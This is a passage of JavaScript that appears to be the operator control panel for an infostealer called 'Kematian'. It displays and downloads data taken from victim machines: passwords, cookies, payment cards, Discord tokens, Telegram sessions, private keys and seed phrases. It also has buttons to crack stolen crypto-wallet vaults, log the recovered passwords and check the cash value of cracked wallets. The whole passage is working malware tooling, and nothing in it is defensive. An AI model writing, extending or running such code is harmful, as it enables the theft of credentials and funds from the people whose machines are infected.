        log(`ready: ${payload?.status || "ok"}`);
      },
      status(payload) {
        log(payload?.message || "(status)");
      },
      partial(payload) {
        if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
        for (const key of DATA_KEYS)
          if (payload[key]?.length) lastResults[key] = [...(lastResults[key] || []), ...payload[key]];
        buildTabs(); buildBfilts(); renderTable();
      },
      results(payload) {
        lastResults = payload;
        collectBtn.disabled = false;
        exportBtn.disabled = false;
        dataCard.style.display = "";
        buildTabs(); buildBfilts(); renderTable();
        const c = DATA_KEYS.map(k => (payload[k] || []).length);
        log(`Collection complete — ${c[0]} pw · ${c[1]} cookies · ${c[2]} autofill · ${c[3]} history · ${c[4]} bookmarks · ${c[5]} cards · ${c[6]} Discord · ${c[7]} files · ${c[8]} extensions · ${c[9]} wallets · ${c[10]} telegram · ${c[11]} keys · ${c[12]} seeds · ${c[13]} apps`);
        if (payload.errors?.length) payload.errors.forEach(e => log(`warn: ${e}`));
      },
      file_scan_results(payload) {
        if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
        lastResults.files = payload?.files || [];
        scanFilesBtn.disabled = false;
        if (activeTab !== "files") { activeTab = "files"; sortCol = null; sortAsc = true; }
        buildTabs(); buildBfilts(); renderTable();
        log(`File scan — ${lastResults.files.length} files${payload?.truncated ? " (limit reached)" : ""}`);
      },
      fetch_file_result(payload) {
        const { path, name, content } = payload || {};
        const pending = pendingFetches.get(path);
        pendingFetches.delete(path);
        if (pending?.btn) { pending.btn.textContent = "↓"; pending.btn.disabled = false; }
        if (!content) { log(`fetch_file: no content for ${name}`); return; }
        downloadBase64(content, name || "file");
        log(`Downloaded: ${name}`);
      },
      fetch_file_error(payload) {
        const { path, error } = payload || {};
        const pending = pendingFetches.get(path);
        pendingFetches.delete(path);
        if (pending?.btn) { pending.btn.textContent = "✕"; pending.btn.disabled = false; }
        log(`fetch_file ERROR: ${error || "unknown"}`);
      },
      extension_scan_results(payload) {
        if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
        lastResults.extensions = payload?.extensions || [];
        scanExtBtn.disabled = false;
        if (activeTab !== "extensions") { activeTab = "extensions"; sortCol = null; sortAsc = true; }
        buildTabs(); buildBfilts(); renderTable();
        log(`Extension scan — ${lastResults.extensions.length} extensions`);
      },
      fetch_ext_zip_result(payload) {
        const { path, extId, content } = payload || {};
        const pending = pendingExtZips.get(path);
        pendingExtZips.delete(path);
        if (pending?.btn) { pending.btn.textContent = "ZIP"; pending.btn.disabled = false; }
        if (!content) { log(`fetch_ext_zip: no content for ${extId}`); return; }
        downloadBase64(content, `${extId || "extension"}.zip`, "application/zip");
        log(`Downloaded extension ZIP: ${extId}`);
      },
      fetch_ext_zip_error(payload) {
        const { path, error } = payload || {};
        const pending = pendingExtZips.get(path);
        pendingExtZips.delete(path);
        if (pending?.btn) { pending.btn.textContent = "✕"; pending.btn.disabled = false; }
        log(`fetch_ext_zip ERROR: ${error || "unknown"}`);
      },
      wallet_scan_results(payload) {
        if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
        lastResults.wallets = payload?.wallets || [];
        scanWalletsBtn.disabled = false;
        if (activeTab !== "wallets") { activeTab = "wallets"; sortCol = null; sortAsc = true; }
        buildTabs(); buildBfilts(); renderTable();
        log(`Wallet scan — ${lastResults.wallets.length} wallets`);
      },
      wallet_auto_data(payload) {
        log(`Auto-downloaded wallet: ${payload?.name || "?"} (${humanSize(payload?.size || 0)})`);
        if (activeTab === "wallets") loadWalletCards();
      },
      fetch_wallet_zip_result(payload) {
        const { path, name, content } = payload || {};
        const pending = pendingWalletZips.get(path);
        pendingWalletZips.delete(path);
        if (pending?.btn) { pending.btn.textContent = "ZIP"; pending.btn.disabled = false; }
        if (!content) { log(`fetch_wallet_zip: no content for ${name}`); return; }
        downloadBase64(content, `${name || "wallet"}.zip`, "application/zip");
        log(`Downloaded wallet ZIP: ${name}`);
      },
      fetch_wallet_zip_error(payload) {
        const { path, error } = payload || {};
        const pending = pendingWalletZips.get(path);
        pendingWalletZips.delete(path);
        if (pending?.btn) { pending.btn.textContent = "✕"; pending.btn.disabled = false; }
        log(`fetch_wallet_zip ERROR: ${error || "unknown"}`);
      },
      telegram_scan_results(payload) {
        if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
        lastResults.telegram = payload?.sessions || [];
        scanTgBtn.disabled = false;
        if (activeTab !== "telegram") { activeTab = "telegram"; sortCol = null; sortAsc = true; }
        buildTabs(); buildBfilts(); renderTable();
        log(`Telegram scan — ${lastResults.telegram.length} sessions`);
      },
      telegram_data(payload) {
        log(`Telegram data: ${payload?.account || "?"} (${humanSize(payload?.size || 0)})`);
      },
      key_scan_results(payload) {
        if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
        lastResults.keys = payload?.keys || [];
        scanKeysBtn.disabled = false;
        if (activeTab !== "keys") { activeTab = "keys"; sortCol = null; sortAsc = true; }
        buildTabs(); buildBfilts(); renderTable();
        log(`Key scan — ${lastResults.keys.length} keys found`);
      },
      app_scan_results(payload) {
        if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
        lastResults.appCredentials = payload?.appCredentials || [];
        scanAppsBtn.disabled = false;
        if (activeTab !== "apps") { activeTab = "apps"; sortCol = null; sortAsc = true; }
        buildTabs(); buildBfilts(); renderTable();
        log(`App scan — ${lastResults.appCredentials.length} credentials found`);
      },
      error(payload) {
        collectBtn.disabled = false;
        scanFilesBtn.disabled = false;
        scanWalletsBtn.disabled = false;
        scanTgBtn.disabled = false;
        scanKeysBtn.disabled = false;
        scanAppsBtn.disabled = false;
        log(`ERROR: ${payload?.error || "unknown"}`);
      },
      pong() { log("pong"); },
    };

    function handlePluginEvent(event, payload) {
      const handler = eventDispatch[event];
      if (handler) handler(payload);
      else log(`event: ${event}`);
    }

    window.addEventListener("message", (e) => {
      if (!e.data || e.data.type !== "plugin_event") return;
      handlePluginEvent(e.data.event, e.data.payload);
    });

    let polling = false;
    async function pollEvents() {
      if (polling) return;
      polling = true;
      try {
        const res = await fetch(
          `/api/clients/${encodeURIComponent(clientId)}/plugins/${PLUGIN_ID}/events`,
          { headers: { Accept: "application/json" } },
        );
        if (res.ok) {
          const data = await res.json();
          if (data.events) data.events.forEach(e => handlePluginEvent(e.event, e.payload));
        }
      } catch (_) {} finally { polling = false; }
    }

    log("Ready — Kematian");
    window.__kematianPoll = setInterval(pollEvents, 1500);
    setTimeout(pollEvents, 500);
  }

  // ── Discord lookup buttons ────────────────────────────────────
  if (enrichAllBtn) {
    enrichAllBtn.addEventListener("click", async () => {
      enrichAllBtn.disabled = true;
      enrichStatus.textContent = "Looking up…";
      try {
        const p = {};
        if (!isGlobal && clientId) p.clientId = clientId;
        else if (isGlobal && activeClient !== "all") p.clientId = activeClient;
        const r = await rpc("enrich_all_discord", p);
        enrichStatus.textContent = `Done — ${r.enriched} token${r.enriched !== 1 ? "s" : ""} processed`;
        await loadDiscordProfiles();
      } catch (e) {
        enrichStatus.textContent = `Error: ${e.message}`;
      } finally {
        enrichAllBtn.disabled = false;
      }
    });
  }

  if (dpGrid) {
    dpGrid.addEventListener("click", async (e) => {
      const btn = e.target.closest(".dp-lookup-btn");
      if (!btn) return;
      const token = btn.dataset.token;
      const cid = btn.dataset.cid;
      if (!token || !cid) return;
      btn.disabled = true;
      btn.textContent = "…";
      try {
        await rpc("enrich_discord_token", { token, clientId: cid });
        await loadDiscordProfiles();
      } catch (err) {
        log(`Lookup error: ${err.message}`);
        btn.disabled = false;
        btn.textContent = "Retry";
      }
    });
  }

  // ── Wallet card buttons ────────────────────────────────────────
  if (checkBalancesBtn) {
    checkBalancesBtn.addEventListener("click", async () => {
      const cid = isGlobal ? (activeClient !== "all" ? activeClient : null) : clientId;
      if (!cid) { log("Select a client first"); return; }
      checkBalancesBtn.disabled = true;
      balanceStatus.textContent = "Checking balances…";
      try {
        const result = await rpc("check_balances", { clientId: cid });
        walletBalances = {};
        for (const r of result.results || []) {
          if (!walletBalances[r.wallet]) walletBalances[r.wallet] = {};
          for (const [chain, bal] of Object.entries(r.balances || {}))
            walletBalances[r.wallet][chain] = (walletBalances[r.wallet][chain] || 0) + bal;
        }
        const nonZero = Object.values(walletBalances).reduce((s, b) => s + Object.values(b).filter(v => v > 0).length, 0);
        balanceStatus.textContent = `Done — ${nonZero} non-zero balance${nonZero !== 1 ? "s" : ""} found`;
        await loadWalletCards();
      } catch (e) {
        balanceStatus.textContent = `Error: ${e.message}`;
        log(`Balance check error: ${e.message}`);
      } finally {
        checkBalancesBtn.disabled = false;
      }
    });
  }

  if (wlGrid) {
    wlGrid.addEventListener("click", async (e) => {
      const crackBtn = e.target.closest(".wl-crack-btn");
      if (crackBtn) {
        const walletName = crackBtn.dataset.wallet;
        const crackType = crackBtn.dataset.crackType || "vault";
        const cid = isGlobal ? (activeClient !== "all" ? activeClient : null) : clientId;
        if (!cid || !walletName) return;
        crackBtn.disabled = true;
        crackBtn.textContent = "Cracking…";
        try {
          const rpcMethod = crackType === "desktop" ? "crack_exodus" : "crack_vault";
          const result = await rpc(rpcMethod, { clientId: cid, walletName });
          walletCrackResults[walletName] = result;
          if (result.cracked) log(`Wallet cracked for ${walletName}! Password: ${result.password}`);
          else log(`Wallet crack failed for ${walletName} — ${result.tried} passwords tried`);
          await loadWalletCards();
        } catch (err) {
          log(`Crack error: ${err.message}`);
          crackBtn.disabled = false;
          crackBtn.textContent = crackType === "desktop" ? "Crack Wallet" : "Crack Vault";
        }
        return;
      }

      const balBtn = e.target.closest(".wl-check-bal-btn");
      if (balBtn) {
        const walletName = balBtn.dataset.wallet;
        const crackResult = walletCrackResults[walletName];
        if (!crackResult?.mnemonic) return;
        balBtn.disabled = true;
        balBtn.textContent = "Checking…";
        try {
          const result = await rpc("check_cracked_balances", { mnemonic: crackResult.mnemonic });
          walletCrackResults[walletName] = { ...crackResult, balances: result.totals, usdTotal: result.usdTotal };
          if (result.usdTotal > 0) log(`${walletName}: $${result.usdTotal.toFixed(2)} total value`);
          else log(`${walletName}: no balances found`);
          await loadWalletCards();
        } catch (err) {
          log(`Balance check error: ${err.message}`);
          balBtn.disabled = false;
          balBtn.textContent = "Check Balances";
        }
        return;
      }

      const dlBtn = e.target.closest(".wl-dl-btn");
      if (dlBtn) {
        const id = dlBtn.dataset.id;
        const name = dlBtn.dataset.name;
        dlBtn.disabled = true;
        dlBtn.textContent = "…";
        try {
          const result = await rpc("download_wallet_data", { id: Number(id) });
          downloadBase64(result.content, `${result.name || name}.zip`, "application/zip");
          log(`Downloaded wallet: ${name}`);
        } catch (err) {
          log(`Download error: ${err.message}`);
        } finally {
          dlBtn.disabled = false;
          dlBtn.textContent = "Download ZIP";
        }
      }
    });
  }

  // ── Shared listeners ──────────────────────────────────────────
  searchEl.addEventListener("input", () => {
    const q = searchEl.value.trim();
    if (isGlobal) {
      clearTimeout(searchTimer);
      searchTimer = setTimeout(() => {
        if (q) {
          activeTab = "__search__";
          buildTabs(); buildBfilts();
          loadSearchAll();
        } else {
          searchAllResults = null;
          if (activeTab === "__search__") activeTab = "passwords";
          buildTabs(); buildBfilts();
          loadGlobalTab();
        }
      }, 300);
    } else {
      if (q) {
        activeTab = "__search__";
        loadSearchAllLocal();
      } else {
        searchAllResults = null;
        if (activeTab === "__search__") activeTab = "passwords";
        buildTabs();
      }
      renderTable();
    }
  });

  revealToggle.addEventListener("change", () => {
    showSensitive = revealToggle.checked;
    renderTable();
  });

  // ── Init ──────────────────────────────────────────────────────
  if (isGlobal) initGlobalMode();
  else initClientMode();
})();
